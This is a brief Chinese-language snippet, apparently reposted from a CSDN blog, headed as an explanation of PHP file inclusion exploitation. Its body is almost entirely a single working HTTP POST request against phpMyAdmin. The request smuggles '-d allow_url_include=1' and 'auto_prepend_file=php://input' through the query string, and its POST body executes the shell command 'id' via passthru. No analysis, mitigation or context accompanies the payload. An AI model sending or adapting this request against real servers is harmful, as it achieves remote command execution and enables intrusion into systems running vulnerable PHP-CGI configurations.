php文件包含漏洞利用原理

转自：https://blog.csdn.net/yz_weixiao/article/details/129126989

 

php利用代码

POST http://192.168.2.66/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host:192.168.2.66
Content-Length: 34
 
<?php
passthru('id');
die();
?>